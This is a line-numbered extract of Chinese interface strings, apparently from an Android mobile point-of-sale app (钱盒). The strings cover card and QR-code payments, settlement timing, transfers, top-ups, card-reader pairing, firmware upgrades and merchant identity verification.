355 | 微\n信\n收\n款
356 | 支\n付\n宝\n收\n款
357 | 收\n款
358 | 添加
359 | 保存
360 | 没找到相机程序
361 | 拍照失败
362 | 裁剪失败
363 | 无限额
364 | 超级转账
365 | 话费充值
366 | 月末月初为话费充值高峰期,可能会影响充值到账时间,请在24小时内关注话费到账情况。建议您提前充值,以免影响使用
367 |
368 | 数据加载中\u2026
369 | 选择号码
370 | 号码不存在
371 | 信用卡还款
372 | 超级转账服务协议
373 | 不同意
374 | 同意
375 | 还款说明
376 | 信用卡卡号
377 | 请输入卡号
378 | 请再次输入卡号
379 | 还款金额
380 | 还款金额(元)
381 | 请输入还款金额
382 | 手机号码
383 | 用于接收还款短信
384 | 已阅读《还款说明》
385 | 卡号格式错误
386 | 请再次输入卡号以确认
387 | 两次卡号输入不一致
388 | 请先阅读《还款说明》
389 | 请输入有效金额
390 | 我的信用卡
391 | 充值面额有误
392 | 充值确认
393 | 运营商
394 | 充值面额
395 | 待付金额
396 | 收款人
397 | 请输入收款人姓名
398 | 请输入收款人卡号
399 | 请输入转账金额
400 | 付款人
401 | 请输入付款人姓名
402 | 请输入付款人手机号码
403 | 转账
404 | 已阅读并同意《超级转账使用协议》
405 | 请填写收款人姓名
406 | 请输入正确的收款人姓名
407 | 收款人卡号为空
408 | 请输入转账金额
409 | 卡号格式有误
410 | 付款人姓名不能为空
411 | 请输入正确的付款人姓名
412 | 请输入手机号
413 | 付款人手机号格式错误
414 | 证件号码不能为空
415 | 身份证号码错误
416 | 转账金额不能大于30000元
417 | 请输入正确的金额
418 | 请先阅读《超级转账服务协议》
419 | 转账确认
420 | 收款人
421 | 收款人姓名
422 | 收款卡号
423 | 转账金额
424 | 手续费
425 | 实付金额
426 | 付款人
427 | 付款人姓名
428 | 付款卡号
429 | 手机号码
430 | 身份证号码
431 | 还款确认
432 | 您的交易金额过大,请联系客服
433 | 收款人记录
434 | 付款人记录
435 | 请先连接盒子
436 | 立即\n 连接
437 | 添加\n 设备
438 | 蓝牙\n 连接
439 | 音频\n 连接
440 | 消费(SALE)
441 | 消费撤销(VOID)
442 | 知道了
443 | 稍后再说
444 | 现在就去
445 | 未获取到商户信息,请稍后再试
446 | 身份验证
447 | 店长
448 | 收银员
449 | 登录账号
450 | 请输入待添加收银员的手机号
451 | 暂无数据,下拉可刷新
452 | 请求失败,请下拉重试
453 | 继续
454 | @string/empty_button
455 | %1$s秒后重新发送
456 | 元
457 | 点击选择
458 |
459 | 您没有添加任何设备信息,请先添加设备
460 | 设备SN号:%1$s
461 | 设备型号:%1$s
462 | 刷卡类型:%1$s
463 | 连接类型:%1$s
464 | 音频
465 | 蓝牙
466 | 磁条卡
467 | 磁条卡,IC卡
468 | 音频、蓝牙
469 | 603
470 | 603i
471 | 通刷宝602
472 | 通刷宝600
473 | 慧POS-S300
474 | K100
475 | 606
476 |
477 | 蓝牙扫描中
478 | 蓝牙连接设备
479 | 重新搜索
480 | 音频连接设备
481 | 注意事项\n1.请保持网络通畅\n2.请将刷卡器插入耳机孔\n3.请保持刷卡器有充足电量
482 |
483 | 注意事项\n1.请保持网络通畅\n2.请开启手机蓝牙\n3.开启刷卡器并保持电量充足\n4.手机与刷卡器保持在5米范围内
484 |
485 | 检测到设备,请点击需要添加的SN号
486 | 未找到可用设备
487 | 刷卡器连接中
488 | 盒子识别中
489 | 配对中
490 | 配对失败
491 |
492 |
493 | 在此区域签名
494 | 保存签名文件……
495 | 同意并签字
496 | 本人已阅读T+0使用协议并签字同意
497 | 本合同签订与:%1$s
498 |
499 |
500 | 额度(元)
501 | 使用费率%1$s
502 | T+0到账使用帮助
503 | 如何使用T+0到账?
504 | 如何查询T+0到账交易明细?
505 | 交易已达总限额
506 | 自动转为T+1交易
507 | 交易已超出额度
508 | 交易中止
509 | T+0服务协议
510 | 申请提额
511 |
512 |
513 | 审核中
514 | 正在审核中,请耐心等候…
515 | 已暂停
516 | 审核不通过
517 |
518 |
519 | 营业执照
520 | 营业执照号
521 | 请输入编号
522 | 请输入编号(必填)
523 | 组织机构代码证
524 | 组织机构代码
525 | 税务登记证
526 | 税务登记证号
527 | 提交申请
528 | 申请资料上传
529 | 营业执照号不能为空
530 | 组织机构代码证号不能为空
531 | 税务登记证号不能为空
532 | 请先拍摄营业执照照片
533 | 请先拍摄组织机构代码证照片
534 | %1$s照片正在上传,请稍等
535 | 请先拍摄税务登记证照片
536 |
537 |
538 | 网络连接超时
539 | 重新申请
540 | 变更申请已提交,将在3个工作日内完成审核。
541 | 提交失败
542 | 您提交的资料我们在后台处理中遇到了点问题,详情您可以咨询我们的客服。
543 | 连接超时,请检查您网络重新提交
544 | 审核失败
545 | 申请成功
546 | 已经为您开通T+0业务,随时收款,随时到账,祝生意兴隆!
547 | 未知错误, 请联系客服
548 | 请输入旧密码
549 | 请输入您的手机号码
550 | 请输入验证码
551 | 验证码为空
552 | 修改手机号
553 | 验证申请材料
554 | 为了保证这是来自您本人的操作,请输入商户在申请服务时的材料信息
555 | 收款银行卡号
556 | 如果服务不是由您本人开通,请咨询开通服务的商户。
557 | 银行卡号不能为空
558 | 银行卡号格式错误
559 | 设置新手机号码
560 | 完成设置后,这将成为您的登录账号
561 | 为了确认号码无误,我们刚发送了验证码到您的手机号码%1$s
562 | 旧密码
563 |
564 |
565 | %1$d年%2$d月%3$d日(%4$s)
566 | 今天
567 | 交易失败
568 | 结果未知
569 | 交易成功
570 | 暂停结算
571 | 已撤销
572 |
573 |
574 | 最近更新
575 | 刷新
576 | Refresh\n刷新
577 | %1$s元
578 | 收入%1$s元
579 | 支出%1$s元
580 |
581 | 添加收银员
582 | 请输入密码
583 | 请输入确认密码
584 | 请输入收银员姓名
585 | 添加成功
586 | 收银员名字
587 |
588 |
589 | 验证码发送失败,请重新获取验证码
590 |
591 |
592 | 今日剩余额度%1$s元
593 | 今日剩余额度
594 | 收款记录
595 | 便民支付记录
596 | 服务支付记录
597 | 近期无数据
598 | 昨天
599 | %1$d月%2$d日(%3$s)
600 | 使用电脑访问%1$s查询更多记录
601 |
602 |
603 | 处理中
604 | 交易成功
605 | 交易失败
606 | 已退款
607 | 交易异常
608 |
609 | 交易异常:该笔交易发生异常,请您进入“我-我的账本”查看订单最终状态。如有其它疑问,请您联系官方客服1010 9888
610 |
611 |
612 | 交易详情
613 | 交易金额
614 | 查看签购单
615 | 持卡人收到了扣款短信?
616 | 预计%1$s月%2$s日前结算
617 | 预计%1$s月%2$s日%3$s:%4$s前结算
618 | 请在“到账查询”中查看当日结算汇总
619 | 原因:%1$s
620 | 款项已全额退款
621 | 款项已全额退还持卡人账户
622 | 等待返回交易结果
623 | 支付宝
624 | 支付宝交易
625 | 微信支付
626 | 微信交易
627 | QQ钱包交易
628 | 流水号
629 | 交易时间
630 | 现金交易
631 | 发卡行
632 | 卡号
633 | 设备SN号
634 | 信用卡发卡银行
635 | 持卡人姓名
636 | 付款人证件号
637 | 收款银行
638 | 充值号码
639 | 支付卡号
640 | 添加备注
641 |
642 | 分享失败
643 | 分享成功
644 | 分享取消
645 | 分享拒绝
646 | 微信好友
647 | 微信朋友圈
648 | 分享到
649 | 获取图片失败
650 |
651 | 修改银行卡
652 | 验证身份
653 | 请输入登录密码用以验证您的身份。
654 | 密码
655 | 验证手机号码
656 | 银行卡号
657 | 发卡行所在地
658 | 银行名称
659 | 开户名
660 | 开户行支行
661 | 搜索省份
662 | 选择省份
663 | 搜索县市区
664 | 选择县市区
665 | 搜索县/区
666 | 选择县/区
667 | 您的卡号%1$s未通过有效性验证,可能存在错误,请再次比对是否有误
668 | 确认无误
669 | 返回修改卡号
670 | %1$s不支持%2$s,请返回点击‘选择银行’看看我们支持哪些银行吧
671 | 该卡发卡行可能不支持%1$s,点击"选择发卡银行"看看我们支持哪些银行吧
672 | 加载银行信息失败,请稍后再试
673 | 选择银行
674 | 找不到您的开户支行?\n 1、请检查您的发卡行所在省市是否与卡号一致\n
675 | 2、支行名称不准确可能影响您的交易到账速度,建议您向银行咨询正确的支行名称再填写。
676 |
677 | 假设您是在“深圳市高新园北区工商银行支行”开户的话,只需要输入“高新园”这样的关键词即可搜索,无需输入城市或者银行名称。
678 |
679 | 搜索
680 |
681 | 如果搜索不到您的开户支行,请在以下的输入框输入支行的完整名称,如\n“深圳市高新园北区工商银行支行”。
682 |
683 | 发卡支行的完整名称
684 | 请输入有效的支行名称
685 | 请输入发卡行所在省市
686 | 请输入银行卡卡号
687 | 请选择银行名称
688 | 请输入发卡行支行
689 | 上传新的银行卡照片
690 | 请依照提示上传新收款银行卡照片
691 | 点击这里重新上传
692 | 点击上传
693 | 提交
694 | 请上传手持银行卡照片
695 | 请上传银行卡正面照
696 | 请输入开户名
697 | 照片上传中
698 | 新收款信息
699 | 资料审核
700 | 修改资料
701 | 抱歉,由于以下原因,暂时无法通过您的申请:\n%1$s
702 | 转账成功,转账金额将于当天到账,如有疑问,请联系客服
703 | 充值金额将于30分钟内到账,如有疑问,请联系客服
704 | 还款到账时间请查看\n《信用卡还款说明》
705 | 收款信息
706 | 姓名
707 | 卡号
708 | 开户行
709 | 交易金额
710 | ¥%1$s
711 | .%1$s
712 | 支付宝收款
713 | 微信二维码收款
714 | QQ钱包收款
715 | 请打开支付宝钱包\n使用“扫一扫”扫描二维码完成支付
716 | 请打开微信“扫一扫”\n扫描二维码完成支付
717 | 请打开QQ钱包\n使用“扫一扫”扫描二维码完成支付
718 | 添加设备成功
719 |
720 | %1$s元]]>
721 |
722 | 支付超时,请重新下单
723 | 是否取消交易?
724 | 1、微信二维码收款不支持交易撤销\n2、若客户已付款请等待交易结果或在“我的账本”中查询,是否取消交易?
725 |
726 | 1.请顾客打开支付宝钱包
727 | 2.使用“扫一扫”扫描二维码付款
728 | 3.扫描钱盒客户端显示的二维码并在支付宝钱包上完成付款
729 | 1.安装并打开微信客户端
730 | 2.点击“发现”,选择"扫一扫"
731 | 3.扫描钱盒客户端显示的二维码并在微信上完成付款
732 |
733 | (微信支付交易不可撤销)
734 | 1.请客户打开微信
735 | 2.进入微信钱包,选择“刷卡”
736 | 3.用钱盒扫一扫出示的二维码完成收款
737 | Phone icon
738 | Box 602 icon
739 | device authoried mark
740 |
741 |
742 | 选择支付方式
743 | 刷卡收款
744 | 变更申请已提交,将在1-2个工作日内完成审核,审核期间的交易依然会结算到您当前的账户中。
745 | 手机SD卡不可用,请插入SD卡后重试
746 | 无SD卡,不能拍照或选择图片
747 | 出现错误,请重试
748 | 设备未开机
749 | SN:%1$s
750 | 选择
751 |
752 |
753 | 到账查询
754 | 到账:¥%1$s
755 | %1$s日 预计%2$s:%3$s前结算
756 | %1$s日 %2$s:%3$s结算
757 | 恢复结算的款项
758 | T+0到账交易
759 | %1$s月%2$s日交易金额
760 | %1$s日交易金额
761 | 交易金额
762 | 其它到账周期交易
763 | 具体到账时间因银行的情况而有所不同,请您耐心等候。
764 |
765 |
766 | 备注信息
767 |
768 |
769 | 发送
770 | 查看交易地点
771 | 打印签购单
772 | 请输入手机号和邮箱
773 | 请输入邮箱
774 | 邮箱格式错误
775 |
776 |
777 | %1$s月%2$s日 %3$s:%4$s
778 | 开始撤销交易
779 | 本交易已于%1$s开始结算。\n\n开始结算的交易无法发起撤销。
780 | 本交易已于23:00开始结算。\n\n开始结算的交易无法发起撤销。
781 | %1$d月%2$d日22:40
782 |
783 | 本交易将于%1$s开始结算。\n\n在此之前发生商品退回或服务取消时,可以发起撤销,已扣款项将退回到持卡人账户。\n\n操作说明:\n%2$s
784 |
785 | 请商家输入钱盒密码
786 | 用以保证交易安全
787 | 立即撤销
788 | 盒子未认证,请先认证
789 |
790 |
791 | 暂无消息
792 | 支付结果
793 | %1$s[返回码:%2$s]
794 | 电量低,无法交易
795 | 取交易前置条件失败
796 |
797 | 确认身份
798 | 图片上传失败
799 | 最多可加20项
800 | 收银员无修改收款卡号权限
801 | 撤销交易
802 | 本次交易金额超过您的单笔最大额度
803 | 交易金额不能小于[%1$s]元
804 | 本次交易金额超过今日剩余额度[%1$s]元
805 | 交易金额不能零
806 | 暂不支持在中国大陆以外地区进行交易
807 | 验证码
808 | 暂无记录
809 |
810 | 修改手机号成功,请用新的手机号登录
811 | 确认卡号
812 | 金额
813 |
814 | 已开通
815 | 确认密码
816 | 友情提示,选择中/农/工/建/交/招等大型银行或合作银行,有助于结算款及时到账。详情>>
817 | 登录密码
818 |
819 | 网络状况不佳,请耐心等待
820 | 网络超时,正在确认交易结果
821 | 收款银行推荐列表
822 | 请输入搜索关键字
823 | 上传新银行卡照片
824 | 图片上传成功
825 | 成功发送签购单到手机
826 | 成功发送签购单到邮箱
827 | 同意协议,开始使用钱盒
828 |
829 | %1$s元]]>
830 |
831 | 暂不支持充值的手机号段有170,176,177,178号段;携号转网手机号; 家庭号码中的副号
832 | 抱歉,170、176、177、178等号段不支持话费充值
833 |
834 | 安全资质
835 | 视频介绍
836 | 600、602、606蓝牙设备
837 | 程序遇到一点点小问题,需要重启一下
838 | %1$s[%2$s]
839 | 【慧店】%1$s
840 | 您当前的手机系统版本过低,请升级到安卓4.0以上系统,或到官网下载2.9.4版本钱盒
841 | 无法下载文件,请使用浏览器下载
842 | 金额超限
843 | webview调试
844 | 正在取消交易
845 | 钱盒将使用您设备的蓝牙功能,点击确定同意打开蓝牙。
846 | 您的手机媒体音量可能无法自动调整到最大,请手动提高手机的媒体音量,以保证设备能够正常识别
847 | 对不起,您的设备不具备蓝牙功能,请切换到音频使用
848 | 对不起,您的设备不支持低功耗蓝牙
849 | 完善商户资料
850 | 提高额度
851 | 异常交易处理
852 | 复制
853 |
854 | 请先连接蓝牙打印机
855 | 蓝牙连接成功
856 | 蓝牙连接中
857 | 蓝牙扫描已完成,请选择设备
858 | 连接打印机
859 | 蓝牙不能使用
860 |
861 | 该笔交易已撤销,不可重复撤销
862 | 该笔为失败交易,不可撤销
863 | 该笔为T+0到账交易,不可撤销
864 | 该笔交易已进入结算流程,不可撤销
865 | 该笔为微信扫码交易,不可撤销
866 | 该笔交易不可撤销,如有疑问请联系客服
867 |
868 | 您可填写需要备注的信息(50个汉字以内)
869 | 请输入备注
870 | 备注内容不得超过50个字
871 | 交易名称
872 | 请先打开蓝牙
873 | 证书校验错误,请检查您手机系统时间。
874 | 盒子未连接
875 |
876 | 查看
877 |
878 | 设备:%1$s,还不是您的盒子噢
879 | 设备兼容性检测
880 | 设备兼容性检测需耗时1-3分钟,需耐心等待
881 | 检测中
882 | 适配失败
883 | 适配成功
884 | 温馨提示:
885 | 1. 设备电量要充足
886 | 绿灯闪烁请充电10-20分钟后再使用,充电时勿使用。
887 | 2. 要获得录音权限
888 | 请检查系统权限管理是否打开了钱盒的录音权限。无录音权限时无法识别。如有安装手机安全管家类软件,建议卸载。
889 |
890 | 3. 调大手机音量
891 | 刷卡器与手机通过音频交换数据,请调整音量到最大。
892 | 4. 关闭手机特殊音效
893 |
894 | 请检查手机声音相关设置是否有特殊音效,有特效的音频识别不稳定。常见的带音效的手机品牌有小米(米音)、华为(DTS音效、杜比音效)、三星(DTS音效)、HTC(beats音效、魔音)、魅族(均衡器)等。
895 |
896 | 订单号
897 | 消息通知
898 | 继续支付
899 | 取消支付
900 | 快券优惠¥%1$s
901 | 未查询到优惠信息
902 | 收款商名称
903 | 优惠金额
904 | 登录即表示同意「钱盒服务协议」
905 | 「钱盒服务协议」
906 | 该业务需绑定刷卡器(MPOS)\n 现在购买有优惠
907 | 完善结算资料后,即可使用该功能
908 | 现在就买
909 | 请客户确认是否已付款
910 |
911 | 邀请好友
912 | 优惠信息
913 | 选择优惠券
914 | 我的优惠券
915 | 添加收款账户
916 | 将消费者微信钱包内的刷卡二维码放入框内即可自动扫描
917 | 无优惠券可用
918 | %1$s张可用(请选择)
919 | 微信扫码收款
920 | 扫码收款
921 |
922 | 该服务需要打开GPS定位功能,并授予钱盒商户通的定位权限
923 | 选择T+1
924 | 打开GPS
925 | 优惠信息
926 | %1$s张
927 | 请选择发卡行所在地
928 | 请先选择银行名称
929 | 请确认您的手机上安装的调调APP中音效是关闭的
930 | 点击下载音频适配工具
931 | 设备签到失败
932 | 更新秘钥成功,请刷卡!
933 | 更新秘钥失败,请重新登录!
934 | 清除应用缓存
935 | 清除缓存将还原app到初始状态,并需要重新启动应用,是否确定清除缓存?
936 | 需要更新版本才能登录
937 | 安装包下载失败
938 | 忽略
939 | 请先安装微信
940 | 剩余额度
941 | 收款
942 | 磁条卡、IC卡、非接
943 | 正在加载今日剩余额度...
944 | 点击重试
945 | 1、商家输入登录密码\n2、消费者刷卡\n3、消费者输入密码\n4、消费者签名\n5、完成
946 | 1、商户输入钱盒登录密码\n2、点击下一步,撤销完成
947 | 额度数据获取失败,请下拉刷新
948 | 复制成功
949 | 金额无效,请重新输入
950 | 刷卡器升级
951 | 请开启手机蓝牙连接MPOS,检测固件版本
952 | 已是最新版本
953 | 检测到新版本
954 | 您的刷卡器版本太低,请升级
955 | 现在升级
956 | 1.升级需要大约5~10分钟,请耐心等候!
957 | 2.请确保手机和MPOS电量充足,并开启蓝牙。将手机静置在MPOS旁边,不要退出应用,以免升级失败。
958 | 3.<b>升级失败不会对刷卡器使用造成影响</b>,请放心升级。
959 | 升级包下载
960 | 固件升级
961 | %1$s%%
962 | 固件下载失败,请重新下载
963 | 固件保存失败,可能剩余空间不足
964 | 已下载%1$s%%
965 | 固件升级完成,版本更新至%1$s
966 | 重新下载
967 | 下载包校验失败,请重新下载
968 | 获取订单号失败,请检查网络
969 | 蓝牙连接断开,请重新连接。
970 | 支持S+0
971 | 点击此处,手动输入支行名称
972 | 您选择的银行暂不支持极速到账(S+0)服务,您确定要选择吗?
973 | 系统维护公告
974 | 换一家
975 | 继续选择
976 | 交易结果
977 | 进入账本
978 | 查看账本
979 | 网络异常
980 | 钱盒
981 | 交易结果
982 | 返回首页
983 | 账本查询
984 | 确认信息
985 | Accepted\n接受
986 | Not Accepted\n不接受
987 |
988 |
989 | Please let the cardholder confirm the following information
990 | 请持卡人确认以下信息
991 | Foreign Amount
992 | 交易金额
993 | Mark-up
994 | 货币转换费率
995 | I accept that I have been offered a choice of currencies for payment and that this choice if final. I accept the transaction currency informed above and the conversion rate and the final amount. I acknowledge that the currency conversion is not being conducted by Visa or MasterCard.
996 | 输入验证码
997 | 撤销成功后交易金额将会原路返回到持卡人账户,到账时间以持卡银行信息为主
998 | Please click the refresh button to get the information of transaction currency or chooose the RMB as the transaction currency directly.
999 | 请刷新获取外币信息或直接选择人民币交易
1000 | Unknow amount\\n未知金额
1001 | %1$s%%
1002 | %1$s%2$s
1003 | 撤销成功
1004 | 该功能不可用,请升级到最新版本使用
1005 | 您%1$s的可用额度为0,请上传营业执照,提升额度。
1006 | 刷卡器升级出现异常,请返回重试,如有疑问请联系客服
1007 | 升级过程中请不要点击操作刷卡器
1008 | 创建目录失败
1009 | 该功能适用于Android 4.0以上系统,您的系统版本过低,请更换手机或升级系统后使用。
1010 | 帮助中心
1011 | 网络异常,请返回重试
1012 | 请务必手动重启刷卡器\n重启刷卡器后,即升级成功
1013 | 已重启,返回首页
1014 | 请勿操作刷卡器
1015 | 请等待,升级即将完成
1016 | 升级成功
1017 | 请升级
1018 | 暂时无法使用优惠券,请稍后再试
1019 | 网络异常,银行卡信息验证超时,请重新认证
1020 | 银行卡号
1021 | 请确保信用卡已激活可用,如无法识别请输入卡号
1022 | 请输入银行卡号
1023 | 银行卡号格式错误
1024 | 我知道了
1025 | 加载签购单失败,请退出重进
1026 | 暂不
1027 | 提额
1028 | UriHandler解析
1029 | 旧webview打开
1030 | 设置
1031 | 提示
1032 | 当前应用缺少定位权限。 请点击\'设置\'-\'权限\'-打开定位权限。
1033 | 查看交易地点
1034 | 此手机不支持
1035 | 支付确认码
1036 | 若顾客未付款,请重新发起交易;若顾客已付款成功,请前往账本进行查看,并拍照保存顾客手机支付凭证。%1$s
1037 | 交易金额: %1$s元
1038 | 为保障商户资金安全,需要进行拍卡认证,请准备好%1$s
1039 | 为保障用户资金安全,需进行拍卡认证,请将交易银行卡正面朝上,进行认证识别
1040 | 将交易银行卡正面朝上
1041 |
1042 | 法人(%1$s)信用卡
1043 | 为保障您的资金安全,需要拍摄法人的信用卡进行身份认证
1044 | 资料上传失败,请重试
1045 | 请先点击拍卡
1046 | 没有存储权限或剩余存储空间不够
1047 | 处理中
1048 | 为保障用户资金安全,需进行拍卡认证,请将交易银行卡正面朝上,进行认证识别
1049 | 请将交易银行卡正面朝上
1050 | 语音播报设置
1051 | 消息提醒
1052 | 声音提醒
1053 | 信息提示
1054 | 收款成功
1055 | 确认码%1$s
1056 | 横版银行卡
1057 | 竖版银行卡
1058 | 请核对银行卡号,若识别有误,请重新识别(支持三次有效识别)
1059 | 好哒收款成功
1060 | 交易已被取消
1061 | 该笔交易暂不支持S+0方式,请选择T+1交易或更换银行卡重新交易,如有疑问,请联系客服
1062 | T+1收款
1063 | 该银行卡识别次数超限,交易已取消,请重新交易
1064 | 扫描设备需要授予定位权限
1065 | 应用需要获取存储权限, 请点击\'设置\'-\'权限\'-打开存储权限
1066 | 为了保证安全需要获取手机信息权限,请点击\'设置\'-\'权限\'-打开电话权限
1067 | 操作需要访问相机及存储权限
1068 | 使用音频接口需要录音权限
1069 | 网络异常,请重新设置
1070 | 连接不上
1071 | 持卡人身份验证
1072 | 为保证你的账户安全,请完成实名认证
1073 | \u0020\u0020持卡人姓名
1074 | 身份证号
1075 | 持卡人身份证号
1076 | 手机号
1077 | 银行卡预留手机号
1078 | 输入验证码
1079 | 确认
1080 | 请将身份证正面放入扫描框内
1081 | 重新交易
1082 | 身份证识别需要相机权限
1083 | 注册新用户
1084 |
1085 | 使用\"扫一扫\"扫描二维码完成支付
1086 |
1087 |
--------------------------------------------------------------------------------